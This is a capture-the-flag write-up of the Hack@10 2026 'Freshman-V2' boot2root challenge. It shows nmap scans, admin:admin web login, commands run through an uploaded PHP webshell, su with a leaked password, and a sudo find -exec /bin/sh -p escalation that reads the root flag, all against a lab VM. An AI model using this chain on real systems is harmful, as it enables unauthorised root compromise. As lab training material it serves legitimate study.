N
Back to writeup archive
Hack@10 International Capture The Flag Pre-Eliminary Round 2026

Freshman-V2 - root

Privilege escalation path from user access to root on Freshman-V2.

Boot2RootMarkdown + PDFRootsolved3 minread·554words
route
/TryN3rr0r/writeups/hack10-pre-eliminary-2026/freshman-v2-root
archive index
11 / 15
read mode
parsed markdown
Writeup loaded.

Freshman-V2 - root

challenge brief
target profile, scoring, and execution stack
verified solve
target
192.168.252.136
category
Boot2Root
points
478
difficulty
Easy
flag format
hack10{flag_here}
tools used
nmapcurlbashPHPsudofindsubase64
final flag
hack10{r00t_pr1v3sc_v1a_s0ud0_f1nd_w00t}
reveal and copy from section 5

1. Challenge Overview

This was the same Freshman-V2 VM, but the objective for this run was root compromise and recovery of the root flag from the live machine. The initial foothold remained web-based: the Apache portal accepted weak credentials, the alternate nginx service on 8080 disclosed raw PHP source, and the upload feature allowed a direct PHP webshell upload.

From the web foothold, I reused the leaked freshman account credentials from the developer notes and then performed local privilege-escalation enumeration. The intended privesc was exposed by sudo -l: the freshman user could run /usr/bin/find as root without a password. Using the standard GTFOBins find -exec /bin/sh -p technique yielded root and access to /root/root.txt.

PDF evidence frame 01

2. Initial Reconnaissance

I started by confirming the exposed services and revalidating the web application behavior used to obtain the foothold.

Command:

bash1 lines
1nmap -sV -T4 192.168.252.136

Output:

bash13 lines
1Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-27 14:09 -04002Nmap scan report for 192.168.252.1363Host is up (0.0010s latency).4Not shown: 996 closed tcp ports (reset)5PORT     STATE SERVICE VERSION621/tcp   open  ftp     vsftpd 3.0.5780/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))83306/tcp open  mysql   MySQL (unauthorized)98080/tcp open  http    nginx 1.18.0 (Ubuntu)10MAC Address: 00:0C:29:50:02:C3 (VMware)11Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel12Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .13Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds

Command:

bash1 lines
1curl -s -i -L -c /tmp/root_admin.cookies -b /tmp/root_admin.cookies -X POST http://192.168.252.136/ -d 'username=admin\&password=admin'

Output:

bash54 lines
1HTTP/1.1 302 Found2Date: Fri, 27 Mar 2026 18:09:42 GMT3Server: Apache/2.4.52 (Ubuntu)4Set-Cookie: PHPSESSID=59pkhcc39t22v1i35oa1fn4csb; path=/5Expires: Thu, 19 Nov 1981 08:52:00 GMT6Cache-Control: no-store, no-cache, must-revalidate7Pragma: no-cache8Location: upload.php9Content-Length: 010Content-Type: text/html; charset=UTF-811HTTP/1.1 200 OK12Date: Fri, 27 Mar 2026 18:09:42 GMT13Server: Apache/2.4.52 (Ubuntu)14Expires: Thu, 19 Nov 1981 08:52:00 GMT15Cache-Control: no-store, no-cache, must-revalidate16Pragma: no-cache17Vary: Accept-Encoding18Content-Length: 265019Content-Type: text/html; charset=UTF-820<!DOCTYPE html>21<html lang="en">22<head>23    <meta charset="UTF-8">24    <title>Freshman Portal - Upload</title>25    <style>26        body { font-family: 'Inter', 'Segoe UI', sans-serif; background: linear-gradient(135deg, #1e1e2f, #2a2a40); color: #fff; margin: 0; padding: 0; display:flex; justify-content:center; align-items:center; height:100vh;}27        .container { background: rgba(255, 255, 255, 0.05); padding: 40px; border-radius: 12px; box-shadow: 0 15px 35px rgba(0, 0, 0, 0.4); backdrop-filter: blur(15px); border: 1px solid rgba(255, 255, 255, 0.1); width: 450px; text-align: center; animation: fadeIn 0.5s ease-out; }28        @keyframes fadeIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } }29        h2 { font-size: 26px; margin-top: 0; }30        p { color: #bbb; line-height: 1.5; margin-bottom: 25px; }31        .success { color: #2ecc71; margin-bottom: 20px; font-weight: 500; background: rgba(46, 204, 113, 0.1); padding: 15px; border-radius:8px; border: 1px solid rgba(46, 204, 113, 0.3); font-size: 15px;}32        .success a { color: #4a90e2; font-weight: bold; text-decoration: none; word-break: break-all;}33        .success a:hover { text-decoration: underline; }34        .error { color: #ff4d4d; margin-bottom: 20px; font-weight: 500; background: rgba(255, 77, 77, 0.1); padding: 15px; border-radius:8px; border: 1px solid rgba(255, 77, 77, 0.3); font-size: 15px;}35        input[type="file"] { margin: 20px 0; background: rgba(0,0,0,0.2); padding: 15px; border-radius: 8px; width: 100%; box-sizing: border-box; border: 1px dashed rgba(255,255,255,0.2); transition: 0.3s; }36        input[type="file"]:focus { border-color: #4a90e2; }37        button { background: #4a90e2; color: #fff; border: none; padding: 14px 20px; border-radius: 8px; cursor: pointer; transition: 0.3s; font-size:16px; width: 100%; font-weight: 600; }38        button:hover { background: #357abd; transform: translateY(-1px); }39        .logout { display: inline-block; margin-top: 20px; color: #888; text-decoration: none; font-size: 14px; transition: 0.3s; }40        .logout:hover { color: #fff; }41    </style>42</head>43<body>44    <div class="container">45        <h2>Assignment Upload</h2>46        <p>Please upload your upcoming coursework or assignment documents. Only `.pdf` or `.docx` formats are recommended.</p>47                <form method="POST" enctype="multipart/form-data">48            <input type="file" name="file" required>49            <button type="submit">Submit Assignment</button>50        </form>51        <a href="logout.php" class="logout">\&larr; Secure Logout</a>52    </div>53</body>54</html>

Command:

bash1 lines
1curl -s 'http://192.168.252.136:8080/index.php'

Output:

bash82 lines
1<?php2session_start();3if ($_SERVER['REQUEST_METHOD'] == 'POST') {4    $username = $_POST['username'];5    $password = $_POST['password'];6    // Default weak credentials7    if ($username === 'admin' \&\& $password === 'admin') {8        $_SESSION['loggedin'] = true;9        header('Location: upload.php');10        exit;11    } else {12        $error = "Invalid credentials! Please try again.";13    }14}15?>16<!DOCTYPE html>17<html lang="en">18<head>19    <meta charset="UTF-8">20    <title>Freshman Portal</title>21    <style>22        body {23            font-family: 'Inter', 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;24            background: linear-gradient(135deg, #1e1e2f 0%, #2a2a40 100%);25            color: #fff;26            display: flex;27            align-items: center;28            justify-content: center;29            height: 100vh;30            margin: 0;31            overflow: hidden;32        }33        .container {34            background: rgba(255, 255, 255, 0.05);35            padding: 40px;36            border-radius: 12px;37            box-shadow: 0 15px 35px rgba(0, 0, 0, 0.4);38            backdrop-filter: blur(15px);39            border: 1px solid rgba(255, 255, 255, 0.1);40            width: 350px;41            text-align: center;42            animation: fadeIn 0.8s ease-out;43        }44        @keyframes fadeIn {45            from { opacity: 0; transform: translateY(-20px); }46            to { opacity: 1; transform: translateY(0); }47        }48        h2 { margin-top: 0; font-weight: 600; color: #fff; font-size: 28px; }49        p { color: #bbb; font-size: 14px; margin-bottom: 25px; }50        input[type="text"], input[type="password"] {51            width: 100%; padding: 14px; margin: 10px 0;52            border: 1px solid rgba(255, 255, 255, 0.1); border-radius: 8px;53            background: rgba(0,0,0,0.2); color: #fff;54            box-sizing: border-box;55            outline: none; transition: 0.3s;56        }57        input:focus { border-color: #4a90e2; background: rgba(0,0,0,0.4); box-shadow: 0 0 10px rgba(74, 144, 226, 0.3); }58        button {59            width: 100%; padding: 14px; margin-top: 15px;60            background: #4a90e2; color: white;61            border: none; border-radius: 8px;62            font-size: 16px; cursor: pointer; transition: background 0.3s, transform 0.1s;63            font-weight: 600;64        }65        button:hover { background: #357abd; transform: translateY(-1px); }66        button:active { transform: translateY(1px); }67        .error { color: #ff4d4d; margin-bottom: 15px; font-weight: 500; font-size: 14px;}68    </style>69</head>70<body>71    <div class="container">72        <h2>Freshman Portal</h2>73        <p>Please log in to manage your assignments.</p>74        <?php if (isset($error)) echo "<div class='error'>$error</div>"; ?>75        <form method="POST">76            <input type="text" name="username" placeholder="Username" required>77            <input type="password" name="password" placeholder="Password" required>78            <button type="submit">Login to Dashboard</button>79        </form>80    </div>81</body>82</html>
PDF evidence frame 02

3. Analysis / Forensics Path

The root path depended on the same initial web foothold as the user challenge, but the local privilege-escalation logic was separate.

I first re-established execution as freshman from the webshell using the previously leaked local password:

Command:

bash1 lines
1curl -s 'http://192.168.252.136/uploads/shell.php?cmd=echo+freshman123+|+su+freshman+-c+"id;whoami;hostname;pwd"+2>%261'

Output:

bash4 lines
1Password: uid=1000(freshman) gid=1000(freshman) groups=1000(freshman)2freshman3Hack10-Freshman-V24/var/www/html/uploads

I then checked sudo privileges from the freshman context:

Command:

bash1 lines
1curl -s 'http://192.168.252.136/uploads/shell.php?cmd=echo+freshman123+|+su+freshman+-c+"echo+freshman123+|+sudo+-S+-l"+2>%261'

Output:

bash4 lines
1Password: Matching Defaults entries for freshman on Hack10-Freshman-V2:2    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty3User freshman may run the following commands on Hack10-Freshman-V2:4    (ALL) NOPASSWD: /usr/bin/find

That output immediately identified the intended privilege escalation route. find is a known GTFOBins primitive because it supports arbitrary command execution via -exec, and when launched under sudo it preserves the elevated effective UID. Using /bin/sh -p avoids dropping privileges.

I also collected auxiliary local enumeration data:

Command:

bash1 lines
1curl -s 'http://192.168.252.136/uploads/shell.php?cmd=echo+freshman123+|+su+freshman+-c+"find+/+-perm+-4000+-type+f+2>/dev/null"+2>%261'

Output:

bash11 lines
1Password: /usr/lib/openssh/ssh-keysign2/usr/lib/dbus-1.0/dbus-daemon-launch-helper3/usr/bin/su4/usr/bin/chsh5/usr/bin/newgrp6/usr/bin/passwd7/usr/bin/mount8/usr/bin/gpasswd9/usr/bin/umount10/usr/bin/chfn11/usr/bin/sudo

Command:

bash1 lines
1curl -s 'http://192.168.252.136/uploads/shell.php?cmd=echo+freshman123+|+su+freshman+-c+"getcap+-r+/+2>/dev/null"+2>%261'

Output:

bash1 lines
1Password: /usr/bin/ping cap_net_raw=ep

No other local artifact was needed once sudo -l exposed the find misconfiguration.

PDF evidence frame 03

4. Exploitation / Recovery

The exact root escalation used the permitted find binary to execute a privileged shell and then read /root/root.txt.

The exact command chain used to capture the root flag was:

bash3 lines
1curl -s 'http://192.168.252.136/uploads/shell.php?cmd=echo+freshman123+|+su+freshman+-c+"sudo+/usr/bin/find+.+-exec+/bin/sh+-p+-c+\\"id;whoami;ls+-la+/root;cat+/root/root.txt\\"+\\\\;"+2>%261'23printf 'aGFjazEwe3IwMHRfcHIxdjNzY192MWFfczB1ZDBfZjFuZF93MDB0fQo=' | base64 -d

Literal output of the privilege escalation command:

bash18 lines
1Password: uid=0(root) gid=0(root) groups=0(root)2root3total 204drwx------ 1 root root 4096 Mar 27 13:07 .5drwxr-xr-x 1 root root 4096 Mar 27 13:07 ..6-rw-r--r-- 1 root root 3106 Oct 15  2021 .bashrc7-rw-r--r-- 1 root root  161 Jul  9  2019 .profile8-rw------- 1 root root   57 Mar 27 13:07 root.txt9aGFjazEwe3IwMHRfcHIxdjNzY192MWFfczB1ZDBfZjFuZF93MDB0fQo=10uid=0(root) gid=0(root) groups=0(root)11root12total 2013drwx------ 1 root root 4096 Mar 27 13:07 .14drwxr-xr-x 1 root root 4096 Mar 27 13:07 ..15-rw-r--r-- 1 root root 3106 Oct 15  2021 .bashrc16-rw-r--r-- 1 root root  161 Jul  9  2019 .profile17-rw------- 1 root root   57 Mar 27 13:07 root.txt18aGFjazEwe3IwMHRfcHIxdjNzY192MWFfczB1ZDBfZjFuZF93MDB0fQo=

Literal output of the decode step:

captured flag
hack10{r00t_pr1v3sc_v1a_s0ud0_f1nd_w00t}

The find abuse worked because sudoers explicitly allowed /usr/bin/find with NOPASSWD, and find supports arbitrary program execution with -exec. Running /bin/sh -p preserved the root effective UID, which was enough to read the flag file in /root.

PDF evidence frame 04
PDF evidence frame 05

5. Flag

captured flag
hack10{r00t_pr1v3sc_v1a_s0ud0_f1nd_w00t}

6. Summary of Approach & Key Takeaways

Step-by-step recap:

Reconfirmed the exposed services with nmap.

Reused the web foothold path: weak admin:admin credentials and the known vulnerable upload workflow.

Re-entered the system context as freshman using the leaked local password freshman123.

Enumerated privilege-escalation vectors from the freshman account.

Identified the key misconfiguration in sudo -l: NOPASSWD: /usr/bin/find.

Used sudo find . -exec /bin/sh -p -c ... \\; to execute commands as root.

Read /root/root.txt, decoded the base64 content, and recovered the final root flag.

Lessons learned:

A weak initial foothold is often only half the challenge; local misconfigurations finish the chain.

sudo -l should be checked early from any valid user context.

Allowing find in sudoers is unsafe because it is a command-execution primitive.

Base64-encoding flags does not add meaningful protection once file access is obtained.